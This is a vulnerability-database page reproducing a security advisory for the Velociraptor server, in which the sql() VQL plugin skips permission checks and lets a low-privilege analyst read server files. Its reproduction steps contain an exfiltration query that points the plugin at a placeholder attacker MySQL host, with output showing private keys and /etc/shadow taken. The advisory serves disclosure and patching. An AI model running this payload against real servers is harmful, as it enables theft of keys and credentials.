GHSA-9QQ5-422F-33C2

Vulnerability from github – Published: 2026-11-09 22:25 – Updated: 2026-11-09 22:25
VLAI
Summary
Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin
Details

Summary

The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).

The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (http_client, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.

The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.

Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.

Affected

  • Velocidex/velociraptor server, <= v0.77.1 (latest release, 2026-06-23). Identical vulnerable code in master HEAD 1961e79 (2026-07-17).
  • Confirmed live-exploitable on the official ghcr.io/velocidex/velociraptor-server:latest image (build 0.77.1, commit bbe2a58).
  • Stock install, default Basic authenticator, any built-in analyst, investigator, or api role (all hold ANY_QUERY, none holds FILESYSTEM_READ or NETWORK).
  • No non-default flag required.

Root cause

SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANY_QUERY without FILESYSTEM_READ or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.

Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVER_ARTIFACT_WRITER with COLLECT_SERVER, ARTIFACT_WRITER with COLLECT_CLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEM_READ on every sibling plugin. If ANY_QUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEM_READ) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.

Reproduction

ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.

1) As analyst, confirm the control: the gated accessor denies the read.

sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1')
=> sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]

2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a LOAD DATA LOCAL INFILE <target> packet.

3) As the same analyst, call the ungated branch through the notebook query API:

POST /api/v1/UpdateNotebookCell   (Basic auth + x-csrf-token)
{"type":"vql","input":"SELECT * FROM sql(driver='mysql',
  connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"}

The rogue server receives the file:

QUERY: 'SELECT 1'
EXFIL 12860 bytes  /etc/velociraptor/server.config.yaml
  contains: CA private_key, gw_private_key, Frontend private_key

Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while http_client() on the same account returns PermissionDenied: [NETWORK].

Impact

  • CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
  • Any root-readable file on the server host disclosed (/etc/shadow, datastore user records with password hashes, cross-tenant orgs data).
  • Arbitrary outbound TCP from the server host through the same sink and the upload_sftp, upload_smb, upload_azure, upload_gcs plugins.
  • Root-owned file creation at any path via the sqlite branch (zero-permission data accessor plus an in-query ATTACH DATABASE).
  • Triggered by the lowest built-in query role, default config, one query, no admin interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.77.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "www.velocidex.com/golang/velociraptor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.77.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T22:25:14Z",
    "nvd_published_at": "2026-11-06T21:17:11Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver=\u0027mysql\u0027` or `driver=\u0027postgres\u0027` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`).\n\nThe plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing.\n\nThe built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API.\n\nResult: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server\u0027s `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key.\n\n## Affected\n\n- Velocidex/velociraptor server, `\u003c= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17).\n- Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58).\n- Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`).\n- No non-default flag required.\n\n## Root cause\n\n`SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver=\u0027mysql\u0027` or `driver=\u0027postgres\u0027` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink.\n\nNote on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin\u0027s own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.\n\n## Reproduction\n\n`ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user.\n\n1) As `analyst`, confirm the control: the gated accessor denies the read.\n\n    sql(driver=\u0027sqlite\u0027, accessor=\u0027file\u0027, file=\u0027/etc/passwd\u0027, query=\u0027SELECT 1\u0027)\n    =\u003e sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]\n\n2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE \u003ctarget\u003e` packet.\n\n3) As the same `analyst`, call the ungated branch through the notebook query API:\n\n    POST /api/v1/UpdateNotebookCell   (Basic auth + x-csrf-token)\n    {\"type\":\"vql\",\"input\":\"SELECT * FROM sql(driver=\u0027mysql\u0027,\n      connstring=\u0027x:y@tcp(\u003cATTACKER\u003e:4499)/z?allowAllFiles=true\u0027, query=\u0027SELECT 1\u0027)\"}\n\nThe rogue server receives the file:\n\n    QUERY: \u0027SELECT 1\u0027\n    EXFIL 12860 bytes  /etc/velociraptor/server.config.yaml\n      contains: CA private_key, gw_private_key, Frontend private_key\n\nLive-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`.\n\n## Impact\n\n* CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.\n* Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data).\n* Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins.\n* Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`).\n* Triggered by the lowest built-in query role, default config, one query, no admin interaction.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://www.turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-9qq5-422f-33c2",
  "modified": "2026-11-09T22:25:14Z",
  "published": "2026-11-09T22:25:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/pull/4952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Velocidex/velociraptor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.